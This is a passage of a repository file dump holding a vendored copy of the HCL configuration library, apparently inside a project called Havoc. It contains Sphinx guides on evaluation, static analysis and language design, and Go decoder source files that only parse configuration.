\"example\"`` block makes ``cloud_subnet.example``\navailable, etc.\n\nTerraform achieves this by decoding the top-level structure in isolation to\nstart. You can do this either using the low-level API or using :go:pkg:`gohcl`\nwith :go:type:`hcl.Body` fields tagged as \"remain\".\n\nOnce you have a separate body for each top-level block, you can inspect each\nof the attribute expressions inside using the ``Variables`` method on\n:go:type:`hcl.Expression`, or the ``Variables`` function from package\n:go:pkg:`hcldec` if you will eventually use its higher-level API to decode as\nTerraform does.\n\nThe detected variable references can then be used to construct a dependency\ngraph between the blocks, and then perform a\n`topological sort <https://en.wikipedia.org/wiki/Topological_sorting>`_ to\ndetermine the correct order to evaluate each block's contents so that values\nwill always be available before they are needed.\n\nSince :go:pkg:`cty` values are immutable, it is not convenient to directly\nchange values in a :go:type:`hcl.EvalContext` during this gradual evaluation,\nso instead construct a specialized data structure that has a separate value\nper object and construct an evaluation context from that each time a new\nvalue becomes available.\n\nUsing :go:pkg:`hcldec` to evaluate block bodies is particularly convenient in\nthis scenario because it produces :go:type:`cty.Value` results which can then\njust be directly incorporated into the evaluation context.\n\nDistributed Systems\n-------------------\n\nDistributed systems cause a number of extra challenges, and configuration\nmanagement is rarely the worst of these. However, there are some specific\nconsiderations for using HCL-based configuration in distributed systems.\n\nFor the sake of this section, we are concerned with distributed systems where\nat least two separate components both depend on the content of HCL-based\nconfiguration files. Real-world examples include the following:\n\n* **HashiCorp Nomad** loads configuration (job specifications) in its servers\n  but also needs these results in its clients and in its various driver plugins.\n\n* **HashiCorp Terraform** parses configuration in Terraform Core but can write\n  a partially-evaluated execution plan to disk and continue evaluation in a\n  separate process later. It must also pass configuration values into provider\n  plugins.\n\nBroadly speaking, there are two approaches to allowing configuration to be\naccessed in multiple subsystems, which the following subsections will discuss\nseparately.\n\nAhead-of-time Evaluation\n^^^^^^^^^^^^^^^^^^^^^^^^\n\nAhead-of-time evaluation is the simplest path, with the configuration files\nbeing entirely evaluated on entry to the system, and then only the resulting\n*constant values* being passed between subsystems.\n\nThis approach is relatively straightforward because the resulting\n:go:type:`cty.Value` results can be losslessly serialized as either JSON or\nmsgpack as long as all system components agree on the expected value types.\nAside from passing these values around \"on the wire\", parsing and decoding of\nconfiguration proceeds as normal.\n\nBoth Nomad and Terraform use this approach for interacting with *plugins*,\nbecause the plugins themselves are written by various different teams that do\nnot coordinate closely, and so doing all expression evaluation in the core\nsubsystems ensures consistency between plugins and simplifies plugin development.\n\nIn both applications, the plugin is expected to describe (using an\napplication-specific protocol) the schema it expects for each element of\nconfiguration it is responsible for, allowing the core subsystems to perform\ndecoding on the plugin's behalf and pass a value that is guaranteed to conform\nto the schema.\n\nGradual Evaluation\n^^^^^^^^^^^^^^^^^^\n\nAlthough ahead-of-time evaluation is relatively straightforward, it has the\nsignificant disadvantage that all data available for access via variables or\nfunctions must be known by whichever subsystem performs that initial\nevaluation.\n\nFor example, in Terraform, the \"plan\" subcommand is responsible for evaluating\nthe configuration and presenting to the user an execution plan for approval, but\ncertain values in that plan cannot be determined until the plan is already\nbeing applied, since the specific values used depend on remote API decisions\nsuch as the allocation of opaque id strings for objects.\n\nIn Terraform's case, both the creation of the plan and the eventual apply\nof that plan *both* entail evaluating configuration, with the apply step\nhaving a more complete set of input values and thus producing a more complete\nresult. However, this means that Terraform must somehow make the expressions\nfrom the original input configuration available to the separate process that\napplies the generated plan.\n\nGood usability requires error and warning messages that are able to refer back\nto specific sections of the input configuration as context for the reported\nproblem, and the best way to achieve this in a distributed system doing\ngradual evaluation is to send the configuration *source code* between\nsubsystems. This is generally the most compact representation that retains\nsource location information, and will avoid any inconsistency caused by\nintroducing another intermediate serialization.\n\nIn Terraform's, for example, the serialized plan incorporates both the data\nstructure describing the partial evaluation results from the plan phase and\nthe original configuration files that produced those results, which can then\nbe re-evalauated during the apply step.\n\nIn a gradual evaluation scenario, the application should verify correctness of\nthe input configuration as completely as possible at each state. To help with\nthis, :go:pkg:`cty` has the concept of\n`unknown values <https://github.com/zclconf/go-cty/blob/master/docs/concepts.md#unknown-values-and-the-dynamic-pseudo-type>`_,\nwhich can stand in for values the application does not yet know while still\nretaining correct type information. HCL expression evaluation reacts to unknown\nvalues by performing type checking but then returning another unknown value,\ncausing the unknowns to propagate through expressions automatically.\n\n.. code-block:: go\n\n   ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"name\": cty.UnknownVal(cty.String),\n            \"age\":  cty.UnknownVal(cty.Number),\n        },\n   }\n   val, moreDiags := expr.Value(ctx)\n   diags = append(diags, moreDiags...)\n\nEach time an expression is re-evaluated with additional information, fewer of\nthe input values will be unknown and thus more of the result will be known.\nEventually the application should evaluate the expressions with no unknown\nvalues at all, which then guarantees that the result will also be wholly-known.\n\nStatic References, Calls, Lists, and Maps\n-----------------------------------------\n\nIn most cases, we care more about the final result value of an expression than\nhow that value was obtained. A particular list argument, for example, might\nbe defined by the user via a tuple constructor, by a `for` expression, or by\nassigning the value of a variable that has a suitable list type.\n\nIn some special cases, the structure of the expression is more important than\nthe result value, or an expression may not *have* a reasonable result value.\nFor example, in Terraform there are a few arguments that call for the user\nto name another object by reference, rather than provide an object value:\n\n.. code-block:: hcl\n\n   resource \"cloud_network\" \"example\" {\n     # ...\n   }\n\n   resource \"cloud_subnet\" \"example\" {\n     cidr_block = \"10.1.2.0/24\"\n\n     depends_on = [\n       cloud_network.example,\n     ]\n   }\n\nThe ``depends_on`` argument in the second ``resource`` block *appears* as an\nexpression that would construct a single-element tuple containing an object\nrepresentation of the first resource block. However, Terraform uses this\nexpression to construct its dependency graph, and so it needs to see\nspecifically that this expression refers to ``cloud_network.example``, rather\nthan determine a result value for it.\n\nHCL offers a number of \"static analysis\" functions to help with this sort of\nsituation. These all live in the :go:pkg:`hcl` package, and each one imposes\na particular requirement on the syntax tree of the expression it is given,\nand returns a result derived from that if the expression conforms to that\nrequirement.\n\n.. go:currentpackage:: hcl\n\n.. go:function:: func ExprAsKeyword(expr Expression) string\n\n   This function attempts to interpret the given expression as a single keyword,\n   returning that keyword as a string if possible.\n\n   A \"keyword\" for the purposes of this function is an expression that can be\n   understood as a valid single identifier. For example, the simple variable\n   reference ``foo`` can be interpreted as a keyword, while ``foo.bar``\n   cannot.\n\n   As a special case, the language-level keywords ``true``, ``false``, and\n   ``null`` are also considered to be valid keywords, allowing the calling\n   application to disregard their usual meaning.\n\n   If the given expression cannot be reduced to a single keyword, the result\n   is an empty string. Since an empty string is never a valid keyword, this\n   result unambiguously signals failure.\n\n.. go:function:: func AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics)\n\n   This is a generalization of ``ExprAsKeyword`` that will accept anything that\n   can be interpreted as a *traversal*, which is a variable name followed by\n   zero or more attribute access or index operators with constant operands.\n\n   For example, all of ``foo``, ``foo.bar`` and ``foo[0]`` are valid\n   traversals, but ``foo[bar]`` is not, because the ``bar`` index is not\n   constant.\n\n   This is the function that Terraform uses to interpret the items within the\n   ``depends_on`` sequence in our example above.\n\n   As with ``ExprAsKeyword``, this function has a special case that the\n   keywords ``true``, ``false``, and ``null`` will be accepted as if they were\n   variable names by this function, allowing ``null.foo`` to be interpreted\n   as a traversal even though it would be invalid if evaluated.\n\n   If error diagnostics are returned, the traversal result is invalid and\n   should not be used.\n\n.. go:function:: func RelTraversalForExpr(expr Expression) (Traversal, Diagnostics)\n\n   This is very similar to ``AbsTraversalForExpr``, but the result is a\n   *relative* traversal, which is one whose first name is considered to be\n   an attribute of some other (implied) object.\n\n   The processing rules are identical to ``AbsTraversalForExpr``, with the\n   only exception being that the first element of the returned traversal is\n   marked as being an attribute, rather than as a root variable.\n\n.. go:function:: func ExprList(expr Expression) ([]Expression, Diagnostics)\n\n   This function requires that the given expression be a tuple constructor,\n   and if so returns a slice of the element expressions in that constructor.\n   Applications can then perform further static analysis on these, or evaluate\n   them as normal.\n\n   If error diagnostics are returned, the result is invalid and should not be\n   used.\n\n   This is the function that Terraform uses to interpret the expression\n   assigned to ``depends_on`` in our example above, then in turn using\n   ``AbsTraversalForExpr`` on each enclosed expression.\n\n.. go:function:: func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics)\n\n   This function requires that the given expression be an object constructor,\n   and if so returns a slice of the element key/value pairs in that constructor.\n   Applications can then perform further static analysis on these, or evaluate\n   them as normal.\n\n   If error diagnostics are returned, the result is invalid and should not be\n   used.\n\n.. go:function:: func ExprCall(expr Expression) (*StaticCall, Diagnostics)\n\n   This function requires that the given expression be a function call, and\n   if so returns an object describing the name of the called function and\n   expression objects representing the call arguments.\n\n   If error diagnostics are returned, the result is invalid and should not be\n   used.\n\nThe ``Variables`` method on :go:type:`hcl.Expression` is also considered to be\na \"static analysis\" helper, but is built in as a fundamental feature because\nanalysis of referenced variables is often important for static validation and\nfor implementing interdependent blocks as we saw in the section above.\n\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/index.rst",
    "content": "HCL Config Language Toolkit\n===========================\n\nHCL is a toolkit for creating structured configuration languages that are both\nhuman- and machine-friendly, for use with command-line tools, servers, etc.\n\nHCL has both a native syntax, intended to be pleasant to read and write for\nhumans, and a JSON-based variant that is easier for machines to generate and\nparse. The native syntax is inspired by libucl_, `nginx configuration`_, and\nothers.\n\nIt includes an expression syntax that allows basic inline computation and, with\nsupport from the calling application, use of variables and functions for more\ndynamic configuration languages.\n\nHCL provides a set of constructs that can be used by a calling application to\nconstruct a configuration language. The application defines which argument\nnames and nested block types are expected, and HCL parses the configuration\nfile, verifies that it conforms to the expected structure, and returns\nhigh-level objects that the application can use for further processing.\n\nAt present, HCL is primarily intended for use in applications written in Go_,\nvia its library API.\n\n.. toctree::\n   :maxdepth: 1\n   :caption: Contents:\n\n   intro\n   go\n   language_design\n\n.. _libucl: https://github.com/vstakhov/libucl\n.. _`nginx configuration`: http://nginx.org/en/docs/beginners_guide.html#conf_structure\n.. _Go: https://golang.org/\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/intro.rst",
    "content": ".. _intro:\n\nIntroduction to HCL\n===================\n\nHCL-based configuration is built from two main constructs: arguments and\nblocks. The following is an example of a configuration language for a\nhypothetical application:\n\n.. code-block:: hcl\n\n  io_mode = \"async\"\n\n  service \"http\" \"web_proxy\" {\n    listen_addr = \"127.0.0.1:8080\"\n\n    process \"main\" {\n      command = [\"/usr/local/bin/awesome-app\", \"server\"]\n    }\n\n    process \"mgmt\" {\n      command = [\"/usr/local/bin/awesome-app\", \"mgmt\"]\n    }\n  }\n\nIn the above example, ``io_mode`` is a top-level argument, while ``service``\nintroduces a block. Within the body of a block, further arguments and nested\nblocks are allowed. A block type may also expect a number of *labels*, which\nare the quoted names following the ``service`` keyword in the above example.\n\nThe specific keywords ``io_mode``, ``service``, ``process``, etc here are\napplication-defined. HCL provides the general block structure syntax, and\ncan validate and decode configuration based on the application's provided\nschema.\n\nHCL is a structured configuration language rather than a data structure\nserialization language. This means that unlike languages such as JSON, YAML,\nor TOML, HCL is always decoded using an application-defined schema.\n\nHowever, HCL does have a JSON-based alternative syntax, which allows the same\nstructure above to be generated using a standard JSON serializer when users\nwish to generate configuration programmatically rather than hand-write it:\n\n.. code-block:: json\n\n  {\n    \"io_mode\": \"async\",\n    \"service\": {\n      \"http\": {\n        \"web_proxy\": {\n          \"listen_addr\": \"127.0.0.1:8080\",\n          \"process\": {\n            \"main\": {\n              \"command\": [\"/usr/local/bin/awesome-app\", \"server\"]\n            },\n            \"mgmt\": {\n              \"command\": [\"/usr/local/bin/awesome-app\", \"mgmt\"]\n            },\n          }\n        }\n      }\n    }\n  }\n\nThe calling application can choose which syntaxes to support. JSON syntax may\nnot be important or desirable for certain applications, but it is available for\napplications that need it. The schema provided by the calling application\nallows JSON input to be properly decoded even though JSON syntax is ambiguous\nin various ways, such as whether a JSON object is representing a nested block\nor an object expression.\n\nThe collection of arguments and blocks at a particular nesting level is called\na *body*. A file always has a root body containing the top-level elements,\nand each block also has its own body representing the elements within it.\n\nThe term \"attribute\" can also be used to refer to what we've called an\n\"argument\" so far. The term \"attribute\" is also used for the fields of an\nobject value in argument expressions, and so \"argument\" is used to refer\nspecifically to the type of attribute that appears directly within a body.\n\nThe above examples show the general \"texture\" of HCL-based configuration. The\nfull details of the syntax are covered in the language specifications.\n\n.. todo:: Once the language specification documents have settled into a\n   final location, link them from above.\n\nArgument Expressions\n--------------------\n\nThe value of an argument can be a literal value shown above, or it may be an\nexpression to allow arithmetic, deriving one value from another, etc.\n\n.. code-block:: hcl\n\n  listen_addr = env.LISTEN_ADDR\n\nBuilt-in arithmetic and comparison operators are automatically available in all\nHCL-based configuration languages. A calling application may optionally\nprovide variables that users can reference, like ``env`` in the above example,\nand custom functions to transform values in application-specific ways.\n\nFull details of the expression syntax are in the HCL native syntax\nspecification. Since JSON does not have an expression syntax, JSON-based\nconfiguration files use the native syntax expression language embedded inside\nJSON strings.\n\n.. todo:: Once the language specification documents have settled into a\n   final location, link to the native syntax specification from above.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/language_design.rst",
    "content": "Configuration Language Design\n=============================\n\nIn this section we will cover some conventions for HCL-based configuration\nlanguages that can help make them feel consistent with other HCL-based\nlanguages, and make the best use of HCL's building blocks.\n\nHCL's native and JSON syntaxes both define a mapping from input bytes to a\nhigher-level information model. In designing a configuration language based on\nHCL, your building blocks are the components in that information model:\nblocks, arguments, and expressions.\n\nEach calling application of HCL, then, effectively defines its own language.\nJust as Atom and RSS are higher-level languages built on XML, HashiCorp\nTerraform has a higher-level language built on HCL, while HashiCorp Nomad has\nits own distinct language that is *also* built on HCL.\n\nFrom an end-user perspective, these are distinct languages but have a common\nunderlying texture. Users of both are therefore likely to bring some\nexpectations from one to the other, and so this section is an attempt to\ncodify some of these shared expectations to reduce user surprise.\n\nThese are subjective guidelines however, and so applications may choose to\nignore them entirely or ignore them in certain specialized cases. An\napplication providing a configuration language for a pre-existing system, for\nexample, may choose to eschew the identifier naming conventions in this section\nin order to exactly match the existing names in that underlying system.\n\nLanguage Keywords and Identifiers\n---------------------------------\n\nMuch of the work in defining an HCL-based language is in selecting good names\nfor arguments, block types, variables, and functions.\n\nThe standard for naming in HCL is to use all-lowercase identifiers with\nunderscores separating words, like ``service`` or ``io_mode``. HCL identifiers\ndo allow uppercase letters and dashes, but this primarily for natural\ninterfacing with external systems that may have other identifier conventions,\nand so these should generally be avoided for the identifiers native to your\nown language.\n\nThe distinction between \"keywords\" and other identifiers is really just a\nconvention. In your own language documentation, you may use the word \"keyword\"\nto refer to names that are presented as an intrinsic part of your language,\nsuch as important top-level block type names.\n\nBlock type names are usually singular, since each block defines a single\nobject. Use a plural block name only if the block is serving only as a\nnamespacing container for a number of other objects. A block with a plural\ntype name will generally contain only nested blocks, and no arguments of its\nown.\n\nArgument names are also singular unless they expect a collection value, in\nwhich case they should be plural. For example, ``name = \"foo\"`` but\n``subnet_ids = [\"abc\", \"123\"]``.\n\nFunction names will generally *not* use underscores and will instead just run\nwords together, as is common in the C standard library. This is a result of\nthe fact that several of the standard library functions offered in ``cty``\n(covered in a later section) have names that follow C library function names\nlike ``substr``. This is not a strong rule, and applications that use longer\nnames may choose to use underscores for them to improve readability.\n\nBlocks vs. Object Values\n------------------------\n\nHCL blocks and argument values of object type have quite a similar appearance\nin the native syntax, and are identical in JSON syntax:\n\n.. code-block:: hcl\n\n   block {\n     foo = bar\n   }\n\n   # argument with object constructor expression\n   argument = {\n     foo = bar\n   }\n\nIn spite of this superficial similarity, there are some important differences\nbetween these two forms.\n\nThe most significant difference is that a child block can contain nested blocks\nof its own, while an object constructor expression can define only attributes\nof the object it is creating.\n\nThe user-facing model for blocks is that they generally form the more \"rigid\"\nstructure of the language itself, while argument values can be more free-form.\nAn application will generally define in its schema and documentation all of\nthe arguments that are valid for a particular block type, while arguments\naccepting object constructors are more appropriate for situations where the\narguments themselves are freely selected by the user, such as when the\nexpression will be converted by the application to a map type.\n\nAs a less contrived example, consider the ``resource`` block type in Terraform\nand its use with a particular resource type ``aws_instance``:\n\n.. code-block:: hcl\n\n   resource \"aws_instance\" \"example\" {\n     ami           = \"ami-abc123\"\n     instance_type = \"t2.micro\"\n\n     tags = {\n       Name = \"example instance\"\n     }\n\n     ebs_block_device {\n       device_name = \"hda1\"\n       volume_size = 8\n       volume_type = \"standard\"\n     }\n   }\n\nThe top-level block type ``resource`` is fundamental to Terraform itself and\nso an obvious candidate for block syntax: it maps directly onto an object in\nTerraform's own domain model.\n\nWithin this block we see a mixture of arguments and nested blocks, all defined\nas part of the schema of the ``aws_instance`` resource type. The ``tags``\nmap here is specified as an argument because its keys are free-form, chosen\nby the user and mapped directly onto a map in the underlying system.\n``ebs_block_device`` is specified as a nested block, because it is a separate\ndomain object within the remote system and has a rigid schema of its own.\n\nAs a special case, block syntax may sometimes be used with free-form keys if\nthose keys each serve as a separate declaration of some first-class object\nin the language. For example, Terraform has a top-level block type ``locals``\nwhich behaves in this way:\n\n.. code-block:: hcl\n\n   locals {\n     instance_type = \"t2.micro\"\n     instance_id   = aws_instance.example.id\n   }\n\nAlthough the argument names in this block are arbitrarily selected by the\nuser, each one defines a distinct top-level object. In other words, this\napproach is used to create a more ergonomic syntax for defining these simple\nsingle-expression objects, as a pragmatic alternative to more verbose and\nredundant declarations using blocks:\n\n.. code-block:: hcl\n\n   local \"instance_type\" {\n     value = \"t2.micro\"\n   }\n   local \"instance_id\" {\n     value = aws_instance.example.id\n   }\n\nThe distinction between domain objects, language constructs and user data will\nalways be subjective, so the final decision is up to you as the language\ndesigner.\n\nStandard Functions\n------------------\n\nHCL itself does not define a common set of functions available in all HCL-based\nlanguages; the built-in language operators give a baseline of functionality\nthat is always available, but applications are free to define functions as they\nsee fit.\n\nWith that said, there's a number of generally-useful functions that don't\nbelong to the domain of any one application: string manipulation, sequence\nmanipulation, date formatting, JSON serialization and parsing, etc.\n\nGiven the general need such functions serve, it's helpful if a similar set of\nfunctions is available with compatible behavior across multiple HCL-based\nlanguages, assuming the language is for an application where function calls\nmake sense at all.\n\nThe Go implementation of HCL is built on an underlying type and function system\n:go:pkg:`cty`, whose usage was introduced in :ref:`go-expression-funcs`. That\nlibrary also has a package of \"standard library\" functions which we encourage\napplications to offer with consistent names and compatible behavior, either by\nusing the standard implementations directly or offering compatible\nimplementations under the same name.\n\nThe \"standard\" functions that new configuration formats should consider\noffering are:\n\n* ``abs(number)`` - returns the absolute (positive) value of the given number.\n* ``coalesce(vals...)`` - returns the value of the first argument that isn't null. Useful only in formats where null values may appear.\n* ``compact(vals...)`` - returns a new tuple with the non-null values given as arguments, preserving order.\n* ``concat(seqs...)`` - builds a tuple value by concatenating together all of the given sequence (list or tuple) arguments.\n* ``format(fmt, args...)`` - performs simple string formatting similar to the C library function ``printf``.\n* ``hasindex(coll, idx)`` - returns true if the given collection has the given index. ``coll`` may be of list, tuple, map, or object type.\n* ``int(number)`` - returns the integer component of the given number, rounding towards zero.\n* ``jsondecode(str)`` - interprets the given string as JSON format and return the corresponding decoded value.\n* ``jsonencode(val)`` - encodes the given value as a JSON string.\n* ``length(coll)`` - returns the length of the given collection.\n* ``lower(str)`` - converts the letters in the given string to lowercase, using Unicode case folding rules.\n* ``max(numbers...)`` - returns the highest of the given number values.\n* ``min(numbers...)`` - returns the lowest of the given number values.\n* ``sethas(set, val)`` - returns true only if the given set has the given value as an element.\n* ``setintersection(sets...)`` - returns the intersection of the given sets\n* ``setsubtract(set1, set2)`` - returns a set with the elements from ``set1`` that are not also in ``set2``.\n* ``setsymdiff(sets...)`` - returns the symmetric difference of the given sets.\n* ``setunion(sets...)`` - returns the union of the given sets.\n* ``strlen(str)`` - returns the length of the given string in Unicode grapheme clusters.\n* ``substr(str, offset, length)`` - returns a substring from the given string by splitting it between Unicode grapheme clusters.\n* ``timeadd(time, duration)`` - takes a timestamp in RFC3339 format and a possibly-negative duration given as a string like ``\"1h\"`` (for \"one hour\") and returns a new RFC3339 timestamp after adding the duration to the given timestamp.\n* ``upper(str)`` - converts the letters in the given string to uppercase, using Unicode case folding rules.\n\nNot all of these functions will make sense in all applications. For example, an\napplication that doesn't use set types at all would have no reason to provide\nthe set-manipulation functions here.\n\nSome languages will not provide functions at all, since they are primarily for\nassigning values to arguments and thus do not need nor want any custom\ncomputations of those values.\n\nBlock Results as Expression Variables\n-------------------------------------\n\nIn some applications, top-level blocks serve also as declarations of variables\n(or of attributes of object variables) available during expression evaluation,\nas discussed in :ref:`go-interdep-blocks`.\n\nIn this case, it's most intuitive for the variables map in the evaluation\ncontext to contain an value named after each valid top-level block\ntype and for these values to be object-typed or map-typed and reflect the\nstructure implied by block type labels.\n\nFor example, an application may have a top-level ``service`` block type\nused like this:\n\n.. code-block:: hcl\n\n  service \"http\" \"web_proxy\" {\n    listen_addr = \"127.0.0.1:8080\"\n\n    process \"main\" {\n      command = [\"/usr/local/bin/awesome-app\", \"server\"]\n    }\n\n    process \"mgmt\" {\n      command = [\"/usr/local/bin/awesome-app\", \"mgmt\"]\n    }\n  }\n\nIf the result of decoding this block were available for use in expressions\nelsewhere in configuration, the above convention would call for it to be\navailable to expressions as an object at ``service.http.web_proxy``.\n\nIf it the contents of the block itself that are offered to evaluation -- or\na superset object *derived* from the block contents -- then the block arguments\ncan map directly to object attributes, but it is up to the application to\ndecide which value type is most appropriate for each block type, since this\ndepends on how multiple blocks of the same type relate to one another, or if\nmultiple blocks of that type are even allowed.\n\nIn the above example, an application would probably expose the ``listen_addr``\nargument value as ``service.http.web_proxy.listen_addr``, and may choose to\nexpose the ``process`` blocks as a map of objects using the labels as keys,\nwhich would allow an expression like\n``service.http.web_proxy.service[\"main\"].command``.\n\nIf multiple blocks of a given type do not have a significant order relative to\none another, as seems to be the case with these ``process`` blocks,\nrepresentation as a map is often the most intuitive. If the ordering of the\nblocks *is* significant then a list may be more appropriate, allowing the use\nof HCL's \"splat operators\" for convenient access to child arguments. However,\nthere is no one-size-fits-all solution here and language designers must\ninstead consider the likely usage patterns of each value and select the\nvalue representation that best accommodates those patterns.\n\nSome applications may choose to offer variables with slightly different names\nthan the top-level blocks in order to allow for more concise references, such\nas abbreviating ``service`` to ``svc`` in the above examples. This should be\ndone with care since it may make the relationship between the two less obvious,\nbut this may be a good tradeoff for names that are accessed frequently that\nmight otherwise hurt the readability of expressions they are embedded in.\nFamiliarity permits brevity.\n\nMany applications will not make blocks results available for use in other\nexpressions at all, in which case they are free to select whichever variable\nnames make sense for what is being exposed. For example, a format may make\nenvironment variable values available for use in expressions, and may do so\neither as top-level variables (if no other variables are needed) or as an\nobject named ``env``, which can be used as in ``env.HOME``.\n\nText Editor and IDE Integrations\n--------------------------------\n\nSince HCL defines only low-level syntax, a text editor or IDE integration for\nHCL itself can only really provide basic syntax highlighting.\n\nFor non-trivial HCL-based languages, a more specialized editor integration may\nbe warranted. For example, users writing configuration for HashiCorp Terraform\nmust recall the argument names for numerous different provider plugins, and so\nauto-completion and documentation hovertips can be a great help, and\nconfigurations are commonly spread over multiple files making \"Go to Definition\"\nfunctionality useful. None of this functionality can be implemented generically\nfor all HCL-based languages since it relies on knowledge of the structure of\nTerraform's own language.\n\nWriting such text editor integrations is out of the scope of this guide. The\nGo implementation of HCL does have some building blocks to help with this, but\nit will always be an application-specific effort.\n\nHowever, in order to *enable* such integrations, it is best to establish a\nconventional file extension *other than* `.hcl` for each non-trivial HCL-based\nlanguage, thus allowing text editors to recognize it and enable the suitable\nintegration. For example, Terraform requires ``.tf`` and ``.tf.json`` filenames\nfor its main configuration, and the ``hcldec`` utility in the HCL repository\naccepts spec files that should conventionally be named with an ``.hcldec``\nextension.\n\nFor simple languages that are unlikely to benefit from specific editor\nintegrations, using the ``.hcl`` extension is fine and may cause an editor to\nenable basic syntax highlighting, absent any other deeper features. An editor\nextension for a specific HCL-based language should *not* match generically the\n``.hcl`` extension, since this can cause confusing results for users\nattempting to write configuration files targeting other applications.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/make.bat",
    "content": "@ECHO OFF\r\n\r\npushd %~dp0\r\n\r\nREM Command file for Sphinx documentation\r\n\r\nif \"%SPHINXBUILD%\" == \"\" (\r\n\tset SPHINXBUILD=sphinx-build\r\n)\r\nset SOURCEDIR=.\r\nset BUILDDIR=_build\r\nset SPHINXPROJ=HCL\r\n\r\nif \"%1\" == \"\" goto help\r\n\r\n%SPHINXBUILD% >NUL 2>NUL\r\nif errorlevel 9009 (\r\n\techo.\r\n\techo.The 'sphinx-build' command was not found. Make sure you have Sphinx\r\n\techo.installed, then set the SPHINXBUILD environment variable to point\r\n\techo.to the full path of the 'sphinx-build' executable. Alternatively you\r\n\techo.may add the Sphinx directory to PATH.\r\n\techo.\r\n\techo.If you don't have Sphinx installed, grab it from\r\n\techo.http://sphinx-doc.org/\r\n\texit /b 1\r\n)\r\n\r\n%SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%\r\ngoto end\r\n\r\n:help\r\n%SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%\r\n\r\n:end\r\npopd\r\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/requirements.txt",
    "content": "sphinx\nsphinxcontrib-golangdomain\nsphinx-autoapi\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/block_labels.go",
    "content": "package hcldec\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\ntype blockLabel struct {\n    Value string\n    Range hcl.Range\n}\n\nfunc labelsForBlock(block *hcl.Block) []blockLabel {\n    ret := make([]blockLabel, len(block.Labels))\n    for i := range block.Labels {\n        ret[i] = blockLabel{\n            Value: block.Labels[i],\n            Range: block.LabelRanges[i],\n        }\n    }\n    return ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/decode.go",
    "content": "package hcldec\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc decode(body hcl.Body, blockLabels []blockLabel, ctx *hcl.EvalContext, spec Spec, partial bool) (cty.Value, hcl.Body, hcl.Diagnostics) {\n    schema := ImpliedSchema(spec)\n\n    var content *hcl.BodyContent\n    var diags hcl.Diagnostics\n    var leftovers hcl.Body\n\n    if partial {\n        content, leftovers, diags = body.PartialContent(schema)\n    } else {\n        content, diags = body.Content(schema)\n    }\n\n    val, valDiags := spec.decode(content, blockLabels, ctx)\n    diags = append(diags, valDiags...)\n\n    return val, leftovers, diags\n}\n\nfunc impliedType(spec Spec) cty.Type {\n    return spec.impliedType()\n}\n\nfunc sourceRange(body hcl.Body, blockLabels []blockLabel, spec Spec) hcl.Range {\n    schema := ImpliedSchema(spec)\n    content, _, _ := body.PartialContent(schema)\n\n    return spec.sourceRange(content, blockLabels)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/doc.go",
    "content": "// Package hcldec provides a higher-level API for unpacking the content of\n// HCL bodies, implemented in terms of the low-level \"Content\" API exposed\n// by the bodies themselves.\n//\n// It allows decoding an entire nested configuration in a single operation\n// by providing a description of the intended structure.\n//\n// For some applications it may be more convenient to use the \"gohcl\"\n// package, which has a similar purpose but decodes directly into native\n// Go data types. hcldec instead targets the cty type system, and thus allows\n// a cty-driven application to remain within that type system.\npackage hcldec\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/gob.go",
    "content": "package hcldec\n\nimport (\n\t\"encoding/gob\"\n)\n\nfunc init() {\n\t// Every Spec implementation should be registered with gob, so that\n\t// specs can be sent over gob channels, such as using\n\t// github.com/hashicorp/go-plugin with plugins that need to describe\n\t// what shape of configuration they are expecting.\n\tgob.Register(ObjectSpec(nil))\n\tgob.Register(TupleSpec(nil))\n\tgob.Register((*AttrSpec)(nil))\n\tgob.Register((*LiteralSpec)(nil))\n\tgob.Register((*ExprSpec)(nil))\n\tgob.Register((*BlockSpec)(nil))\n\tgob.Register((*BlockListSpec)(nil))\n\tgob.Register((*BlockSetSpec)(nil))\n\tgob.Register((*BlockMapSpec)(nil))\n\tgob.Register((*BlockLabelSpec)(nil))\n\tgob.Register((*DefaultSpec)(nil))\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/public.go",
    "content": "package hcldec\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// Decode interprets the given body using the given specification and returns\n// the resulting value. If the given body is not valid per the spec, error\n// diagnostics are returned and the returned value is likely to be incomplete.\n//\n// The ctx argument may be nil, in which case any references to variables or\n// functions will produce error diagnostics.\nfunc Decode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    val, _, diags := decode(body, nil, ctx, spec, false)\n    return val, diags\n}\n\n// PartialDecode is like Decode except that it permits \"leftover\" items in\n// the top-level body, which are returned as a new body to allow for\n// further processing.\n//\n// Any descendent block bodies are _not_ decoded partially and thus must\n// be fully described by the given specification.\nfunc PartialDecode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, hcl.Body, hcl.Diagnostics) {\n    return decode(body, nil, ctx, spec, true)\n}\n\n// ImpliedType returns the value type that should result from decoding the\n// given spec.\nfunc ImpliedType(spec Spec) cty.Type {\n    return impliedType(spec)\n}\n\n// SourceRange interprets the given body using the given specification and\n// then returns the source range of the value that would be used to\n// fulfill the spec.\n//\n// This can be used if application-level validation detects value errors, to\n// obtain a reasonable SourceRange to use for generated diagnostics. It works\n// best when applied to specific body items (e.g. using AttrSpec, BlockSpec, ...)\n// as opposed to entire bodies using ObjectSpec, TupleSpec. The result will\n// be less useful the broader the specification, so e.g. a spec that returns\n// the entirety of all of the blocks of a given type is likely to be\n// _particularly_ arbitrary and useless.\n//\n// If the given 